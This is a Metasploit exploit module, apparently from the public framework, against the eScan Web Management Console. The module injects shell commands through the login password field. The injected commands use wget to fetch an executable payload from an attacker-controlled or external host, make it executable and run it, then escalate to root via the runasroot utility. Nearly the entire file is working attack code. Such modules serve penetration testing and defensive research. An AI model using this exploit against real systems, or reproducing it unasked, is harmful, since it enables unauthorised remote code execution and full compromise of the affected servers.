## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'eScan Web Management Console Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability found in the eScan Web Management Console. The vulnerability exists while processing CheckPass login requests. An attacker with a valid username can use a malformed password to execute arbitrary commands. With mwconf privileges, the runasroot utility can be abused to get root privileges. This module has been tested successfully on eScan 5.5-2 on Ubuntu 12.04. }, 'License' => MSF_LICENSE, 'Author' => [ 'Joxean Koret', # Vulnerability Discovery and PoC 'juan vazquez' # Metasploit module ], 'References' => [ [ 'CVE', '2014-125118' ], [ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean ], 'Payload' => { 'BadChars' => '', # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD 'DisableNops' => true }, 'Arch' => ARCH_X86, 'Platform' => 'linux', 'Privileged' => true, 'Stance' => Msf::Exploit::Stance::Aggressive, 'Targets' => [ ['eScan 5.5-2 / Linux', {}], ], 'DisclosureDate' => '2014-04-04', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ Opt::RPORT(10080), OptString.new('USERNAME', [ true, 'A valid eScan username' ]), OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']), OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]), OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]), OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]), ] ) end def check res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path.to_s, 'index.php') }) if res && (res.code == 200) && res.body =~ (/eScan WebAdmin/) return Exploit::CheckCode::Detected end Exploit::CheckCode::Unknown end def cmd_exec(session, cmd) case session.type when /meterpreter/ print_warning('Use a shell payload in order to get root!') when /shell/ o = session.shell_command_token(cmd) o.chomp! if o end return '' if o.nil? return o end # Escalating privileges here because runasroot only can't be executed by # mwconf uid (196). def on_new_session(session) cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh") super end def primer @payload_url = get_uri wget_payload end def on_request_uri(cli, request) print_status("Request: #{request.uri}") if request.uri =~ /#{Regexp.escape(get_resource)}/ print_status('Sending payload...') send_response(cli, @pl) end end def autofilter true end def exploit @pl = generate_payload_exe @payload_url = '' if datastore['EXTURL'].blank? begin Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error => e vprint_error(e.message) end else @payload_url = datastore['EXTURL'] wget_payload end exec_payload end # we execute in this way, instead of an ARCH_CMD # payload because real badchars are: |&)(!><'"`[space] def wget_payload @dropped_elf = rand_text_alpha(rand(3..7)) command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}" print_status('Downloading the payload to the target machine...') res = exec_command(command) if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/ register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf)) else fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target") end end def exec_payload command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};" command << File.join(datastore['WRITABLEDIR'], @dropped_elf) print_status('Executing the payload...') exec_command(command, 1) end def exec_command(command, timeout = 20) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path.to_s, 'login.php'), 'vars_post' => { 'uname' => datastore['USERNAME'], 'pass' => ";#{command}", 'product_name' => 'escan', 'language' => 'English', 'login' => 'Login' } }, timeout) end end